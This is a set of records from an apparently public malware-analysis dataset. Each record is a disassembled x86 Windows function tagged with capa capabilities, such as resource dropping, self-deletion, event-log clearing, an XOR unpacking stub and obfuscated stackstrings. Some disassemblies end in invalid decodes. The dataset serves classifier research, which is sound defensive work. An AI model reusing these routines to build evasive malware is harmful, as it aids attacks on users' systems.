joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a66c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor edx, edx
mov dword [ebp - 0x104], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40a704
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x100]
push eax
push 0xff
call sub.KERNEL32.DLL_GetTempPathA
mov eax, ebx
lea edx, [ebp - 0x100]
mov ecx, pe_nt_image_headers32
call fcn.0040412c
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebx]
call fcn.00404158
mov edx, eax
mov eax, dword [ebx]
mov ecx, 1
call fcn.004043b8
mov eax, dword [ebp - 0x104]
mov edx, 0x40a718
call fcn.004042a4
je 0x40a6eb
mov eax, ebx
mov edx, 0x40a718
call fcn.00404160
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a70b
lea eax, [ebp - 0x104]
call fcn.00403ee4
ret

Function at 0x40a71c
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xffffff00
mov ebx, eax
push 0xff
lea eax, [esp + 4]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
mov eax, ebx
mov edx, esp
mov ecx, pe_nt_image_headers32
call fcn.0040412c
mov eax, dword [ebx]
call fcn.00404158
mov edx, dword [ebx]
cmp byte [edx + eax - 1], 0x5c
je 0x40a75e
mov eax, ebx
mov edx, 0x40a770
call fcn.00404160
add esp, 0x100
pop ebx
ret
Function at 0x40a774
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
xor ecx, ecx
push ebp
push 0x40a8c7
push dword fs:[ecx]
mov dword fs:[ecx], esp
mov byte [ebp - 1], 0
push eax
push edx
mov eax, dword [0x40e660]
push eax
call sub.KERNEL32.DLL_FindResourceA
mov ebx, eax
test ebx, ebx
je 0x40a8bd
push ebx
mov eax, dword [0x40e660]
push eax
call sub.KERNEL32.DLL_LoadResource
mov esi, eax
test esi, esi
je 0x40a8bd
push ebx
mov eax, dword [0x40e660]
push eax
call sub.KERNEL32.DLL_SizeofResource
mov ebx, eax
dec edi
je 0x40a7db
dec edi
je 0x40a898
jmp 0x40a8bd
mov eax, dword [ebp + 8]
mov eax, dword [eax]
call fcn.00406264
test al, al
je 0x40a7ff
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.00406298
mov eax, dword [ebp + 8]
mov eax, dword [eax]
call fcn.004063b4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
call fcn.00406264
test al, al
jne 0x40a892
push 0
push 0x20
push 2
push 0
push 3
push 0xc0000000
mov eax, dword [ebp + 8]
mov eax, dword [eax]
call fcn.00404358
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40a8bd
xor eax, eax
push ebp
push 0x40a88b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 8]
push eax
push ebx
push esi
call sub.KERNEL32.DLL_LockResource
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_WriteFile
test eax, eax
je 0x40a86b
cmp ebx, dword [ebp - 8]
je 0x40a86f
xor eax, eax
jmp 0x40a871
mov al, 1
mov byte [ebp - 1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a8bd
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_CloseHandle
ret
mov byte [ebp - 1], 1
jmp 0x40a8bd
mov eax, dword [ebp + 8]
mov edx, ebx
call fcn.00404440
mov eax, dword [ebp + 8]
call fcn.004043b0
push eax
push esi
call sub.KERNEL32.DLL_LockResource
mov ecx, ebx
pop edx
call fcn.00402698
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40a8d1
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40ac90
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40adf7
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00402d28
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], 0
lea eax, [ebp - 4]
call fcn.0040ab18
test al, al
je 0x40ad9e
push 0x40ae08
push 1
mov ecx, 0x40ae0c
mov edx, 0x40ae20
mov eax, 0x80000001
call fcn.0040a4c8
push 0x40ae4c
push 4
mov ecx, 0x40ae50
mov edx, 0x40ae5c
mov eax, 0x80000001
call fcn.0040a4c8
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x28
push 0
push 0
push 0
push 0x40ae94
push dword [ebp - 4]
push 0x40aea0
lea eax, [ebp - 0x5c]
mov edx, 3
call fcn.00404218
mov eax, dword [ebp - 0x5c]
call fcn.00404358
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessA
test eax, eax
je 0x40ad9e
push 0x1388
call sub.KERNEL32.DLL_Sleep
cmp dword [0x40e8d8], 0
je 0x40ad79
cmp dword [0x40e8dc], 0
je 0x40ad79
mov eax, dword [0x40e8d8]
mov edx, dword [ebp - 0x50]
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 0x4c]
call fcn.0040abf4
test al, al
je 0x40ad9e
push 0
push 0x61201
push 0xbd6
mov eax, dword [ebp - 0x4c]
push eax
call sub.user32.dll_PostThreadMessageA
mov bl, 1
jmp 0x40add9
push 0x7d0
call sub.KERNEL32.DLL_Sleep
push 0
push 0x40aeb0
call sub.user32.dll_FindWindowA
mov esi, eax
test esi, esi
je 0x40ad9e
mov eax, esi
call fcn.0040abf4
test al, al
je 0x40add9
push 0
push 0x61201
push 0xbd6
push esi
call sub.user32.dll_PostMessageA
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40adfe
lea eax, [ebp - 0x5c]
call fcn.00403ee4
lea eax, [ebp - 4]
call fcn.00403ee4
ret
Function at 0x40b04c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xffffffe8
push ebx
xor ecx, ecx
mov dword [ebp - 0x1018], ecx
mov dword [ebp - 0x1010], ecx
mov dword [ebp - 0x1014], ecx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404348
xor eax, eax
push ebp
push 0x40b176
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.KERNEL32.DLL_GetVersion
test eax, 0x80000000
je 0x40b10f
mov edx, dword [ebp - 4]
mov eax, 0x40b18c
call fcn.00408198
test eax, eax
jle 0x40b10f
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00403f38
lea eax, [ebp - 0x1014]
call fcn.0040a71c
mov eax, dword [ebp - 0x1014]
mov dl, byte [eax]
lea eax, [ebp - 0x1010]
call fcn.004040b0
mov edx, dword [ebp - 0x1010]
lea eax, [ebp - 8]
mov ecx, 0x40b1a4
call fcn.004041a4
mov al, byte [0x40b1b4]
push eax
lea eax, [ebp - 0x1018]
push eax
mov eax, dword [ebx]
mov edx, 0x40b18c
mov ecx, dword [ebp - 8]
call fcn.004088b0
mov edx, dword [ebp - 0x1018]
mov eax, ebx
call fcn.00403f38
jmp 0x40b14b
lea eax, [ebp - 0x1009]
mov edx, 0x1001
call fcn.00405290
push 0x1001
lea eax, [ebp - 0x1009]
push eax
mov eax, dword [ebp - 4]
call fcn.00404358
push eax
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
mov eax, ebx
lea edx, [ebp - 0x1009]
mov ecx, 0x1001
call fcn.0040412c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b17d
lea eax, [ebp - 0x1018]
mov edx, 3
call fcn.00403f08
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403f08
ret
Function at 0x40b538
Capabilities:
Create process on windows
Create process suspended
Self delete

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdc4
xor eax, eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x23c], eax
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x228], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40b757
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x228]
call fcn.0040a71c
mov edx, dword [ebp - 0x228]
lea eax, [ebp - 4]
mov ecx, 0x40b76c
call fcn.004041a4
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d0]
call fcn.00402b08
lea eax, [ebp - 0x1d0]
call fcn.004028a4
call fcn.0040263c
mov edx, 0x40b780
lea eax, [ebp - 0x1d0]
call fcn.004044a4
call fcn.004030a4
call fcn.0040263c
lea eax, [ebp - 0x22c]
call fcn.0040a71c
push 0x40b790
lea edx, [ebp - 0x234]
xor eax, eax
call fcn.004027c4
push dword [ebp - 0x234]
push 0x40b7a0
lea eax, [ebp - 0x230]
mov edx, 3
call fcn.00404218
mov edx, dword [ebp - 0x230]
lea eax, [ebp - 0x1d0]
call fcn.004044a4
call fcn.004030a4
call fcn.0040263c
mov ecx, 0x40b7a4
mov edx, 0x40b7b0
mov eax, 0x80000001
call fcn.0040a5f4
push 0x40b7f8
lea edx, [ebp - 0x23c]
xor eax, eax
call fcn.004027c4
push dword [ebp - 0x23c]
push 0x40b7a0
push 0x40b80c
lea eax, [ebp - 0x238]
mov edx, 4
call fcn.00404218
mov edx, dword [ebp - 0x238]
lea eax, [ebp - 0x1d0]
call fcn.004044a4
call fcn.004030a4
call fcn.0040263c
mov edx, 0x40b820
lea eax, [ebp - 0x1d0]
call fcn.004044a4
call fcn.004030a4
call fcn.0040263c
mov edx, 0x40b830
lea eax, [ebp - 0x1d0]
call fcn.004044a4
call fcn.004030a4
call fcn.0040263c
lea eax, [ebp - 0x1d0]
call fcn.00402c84
call fcn.0040263c
lea eax, [ebp - 0x224]
xor ecx, ecx
mov edx, 0x44
call fcn.00402d28
mov dword [ebp - 0x1f8], 1
mov word [ebp - 0x1f4], 0
lea eax, [ebp - 0x1e0]
push eax
lea eax, [ebp - 0x224]
push eax
push 0
push 0
push 0x40
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404358
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessA
test eax, eax
je 0x40b731
mov eax, dword [ebp - 0x1dc]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 0x1e0]
push eax
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b75e
lea eax, [ebp - 0x23c]
mov edx, 6
call fcn.00403f08
lea eax, [ebp - 4]
call fcn.00403ee4
ret

Function at 0x40b89c
Capabilities:
Create process on windows

Disassembly:
push 0
mov eax, dword [0x40e8f0]
call fcn.00404358
push eax
call sub.KERNEL32.DLL_WinExec
ret
Function at 0x40b8b0
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
xor eax, eax
push ebp
push 0x40ba6b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.0040a71c
push 0x40e8d0
mov edx, 0x40ba78
mov ecx, 1
mov eax, 0xa
call fcn.0040a774
test al, al
je 0x40ba50
mov eax, dword [0x40e954]
mov eax, dword [eax + 0x2bc]
test eax, eax
je 0x40b90b
mov edx, eax
mov eax, dword [0x40e8d0]
call fcn.00406298
lea edx, [ebp - 0xc]
mov eax, dword [0x40e8d0]
call fcn.00405fd0
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 8]
mov edx, 0x40ba88
call fcn.00409b5c
mov eax, dword [ebp - 8]
call fcn.00404358
mov dword [0x40e8cc], eax
mov eax, dword [0x40e8cc]
push eax
push 0xbd0
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.KERNEL32.DLL_CreateFileMappingA
mov dword [0x40e8d4], eax
cmp dword [0x40e8d4], 0
je 0x40ba50
push 0
push 0
push 0
push 6
mov eax, dword [0x40e8d4]
push eax
call sub.KERNEL32.DLL_MapViewOfFile
mov dword [0x40e8d8], eax
cmp dword [0x40e8d8], 0
je 0x40ba50
mov eax, dword [0x40e8d8]
cmp dword [eax + 0x10], 1
jne 0x40b9bc
mov eax, dword [0x40e8d8]
xor edx, edx
mov dword [eax + 0x10], edx
cmp dword [0x40e8e0], 0
je 0x40b9b0
call sub.KERNEL32.DLL_GetCurrentProcessId
mov edx, dword [0x40e8d8]
mov dword [edx + 8], eax
mov dword [0x40d694], 0xffffffff
jmp 0x40ba03
mov edx, 0xbd0
mov eax, dword [0x40e8d8]
call fcn.00405290
mov eax, dword [0x40e8e4]
call fcn.00404158
push eax
mov eax, 0x40e8e4
call fcn.004043b0
mov edx, dword [0x40e8d8]
add edx, 0x14
pop ecx
call fcn.00402698
cmp byte [0x40e8f6], 0
je 0x40ba03
mov eax, dword [0x40e8d8]
mov dword [eax], 1
call sub.KERNEL32.DLL_GetVersion
test eax, 0x80000000
jne 0x40ba4b
cmp byte [0x40e8f8], 0
je 0x40ba44
mov eax, dword [0x40e8fc]
call fcn.00404358
mov dword [0x40e90c], eax
mov dword [0x40e910], 0x40b490
push 0x40e90c
call sub.advapi32.dll_StartServiceCtrlDispatcherA
push 0
call sub.KERNEL32.DLL_ExitProcess
jmp 0x40ba50
call fcn.0040aec0
jmp 0x40ba50
call fcn.0040aec0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ba72
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403f08
ret
Function at 0x40c134
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov eax, 0x40c0c4
call fcn.00404fc4
xor eax, eax
push ebp
push 0x40c3a2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x40e960
mov edx, pe_nt_image_headers32
call fcn.00405290
call fcn.0040b1b8
mov eax, 0x40e960
mov edx, pe_nt_image_headers32
call fcn.00405290
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.004027c4
mov eax, dword [ebp - 0x14]
mov edx, dword [0x40e8f0]
call fcn.0040600c
test eax, eax
je 0x40c382
mov eax, dword [0x40e8ec]
call fcn.00404358
push eax
push 0xffffffffffffffff
push 0
call fcn.004050d8
mov dword [0x40e95c], eax
mov eax, 0x40e960
mov edx, pe_nt_image_headers32
call fcn.00405290
cmp dword [0x40e95c], 0
je 0x40c1f3
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
jne 0x40c1f3
mov eax, dword [0x40e95c]
push eax
call sub.KERNEL32.DLL_CloseHandle
jmp 0x40c387
mov eax, 0x40e960
mov edx, pe_nt_image_headers32
call fcn.00405290
call fcn.0040bdfc
xor edx, edx
push ebp
push 0x40c2c9
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [0x40e8f0]
call fcn.00406264
test al, al
je 0x40c25b
xor edx, edx
mov eax, dword [0x40e8f0]
call fcn.00406298
mov eax, dword [0x40e8f0]
call fcn.004063b4
mov eax, dword [0x40e8f0]
call fcn.00406264
test al, al
je 0x40c25b
push 0
call sub.KERNEL32.DLL_ExitProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40c387
lea edx, [ebp - 0x18]
mov eax, dword [0x40e8f0]
call fcn.0040641c
mov edx, dword [ebp - 0x18]
mov eax, 0x40e958
call fcn.00403f38
mov eax, dword [0x40e958]
call fcn.0040a988
push 0
mov eax, dword [0x40e8f0]
call fcn.00404358
push eax
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.004027c4
mov eax, dword [ebp - 0x1c]
call fcn.00404358
push eax
call sub.KERNEL32.DLL_CopyFileA
mov eax, dword [0x40e954]
mov eax, dword [eax + 0x2bc]
test eax, eax
je 0x40c2bf
mov edx, eax
mov eax, dword [0x40e8f0]
call fcn.00406298
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40c2d3
call sub.KERNEL32.DLL_GetVersion
test eax, 0x80000000
jne 0x40c331
cmp byte [0x40e8f8], 0
je 0x40c325
mov eax, dword [0x40e8fc]
call fcn.0040a368
push 0x3e8
call sub.KERNEL32.DLL_Sleep
mov eax, dword [0x40e904]
push eax
mov eax, dword [0x40e900]
call fcn.00404358
push eax
mov eax, dword [0x40e8fc]
call fcn.00404358
mov ecx, dword [0x40e8f0]
pop edx
call fcn.0040a1dc
jmp 0x40c33b
call fcn.0040b89c
call fcn.0040b838
jmp 0x40c33b
call fcn.0040b89c
call fcn.0040b838
cmp byte [0x40e8f4], 0
je 0x40c357
push 0x40
push 0x40c3b4
push 0x40c3bc
push 0
call sub.user32.dll_MessageBoxA_1
cmp byte [0x40e8f5], 0
je 0x40c379
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.004027c4
mov eax, dword [ebp - 0x20]
xor edx, edx
call fcn.00406298
call fcn.0040b538
push 0
call sub.KERNEL32.DLL_ExitProcess
jmp 0x40c387
call fcn.0040b8b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c3a9
lea eax, [ebp - 0x20]
mov edx, 4
call fcn.00403f08
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403d6a
nop
nop
sub eax, 0x403d10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x426a84
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push dword [ebp + 8]
call fcn.0042663b
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00426686
push eax
push esi
push dword [ebp + 8]
call fcn.0042663b
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00426676
cmp byte cs:[edx - 0x5e], al
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
invalid
invalid
invalid
Function at 0x426d1c
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x426d2a
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x426d25
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x426d0f
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x426d17
cmp edx, ebx
jne 0x426e65
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
or byte [edx], al
or byte [edx], al
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x426ce6
add eax, dword [eax + 4]
jmp 0x426cd3
mov dword [ebp + 0xc], ebx
jmp 0x426d35
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x426d4d
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x426d6b
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x426dc9
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x426db0
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x426db9
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x426dc3
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x426da5
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x426d2f
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x426e16
dec eax
je 0x426e0d
sub eax, 3
je 0x426e04
mov dword [ebp - 4], 0x40
jmp 0x426e33
mov dword [ebp - 4], 4
jmp 0x426e19
mov dword [ebp - 4], 0x20
jmp 0x426e19
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x426e65
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x426de5
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00426676
in eax, 0x86
adc byte [edi], ch
push dword [ebp + 0x14]
push 1
push esi
call edi
mov eax, esi
jmp 0x426e71
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x43b1db
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043b051

Function at 0x43d393
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043cee6
Function at 0x4016b9
Capabilities:
Access the windows event log
Clear file content
Clear windows event logs
Get common file path
Get keyboard layout

Disassembly:
sub esp, 0x800
push esi
push edi
xor esi, esi
xor edi, edi
cmp edi, 0xaca
jge 0x4016d4
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp edi, 0x45be4d9
jg 0x4016ee
inc edi
cmp edi, 0x332fe31
jl 0x4016c5
cmp dword [0x208f5f4], 0x400
jne 0x40172e
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
push esi
call fcn.00401c72
call fcn.00401b21
push esi
call fcn.00401ebf
pop ecx
pop ecx
xor edi, edi
cmp edi, 0xd036
jge 0x401740
push esi
push esi
call dword [sym.imp.USER32.dll_SetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_LocalCompact]
cmp edi, 0xd2ced2
jg 0x401766
inc edi
cmp edi, 0x263ff
jl 0x401730
mov eax, dword [0x442964]
mov dword [0x208f5f4], eax
call fcn.0040143c
mov edi, 0x3078f
cmp dword [0x208f5f4], 0x51f
jne 0x401792
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x40177a
pop edi
xor eax, eax
pop esi
add esp, 0x800
ret 0x10

Function at 0x404775
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x428430]
jne 0x40477f
repz ret
jmp fcn.00406589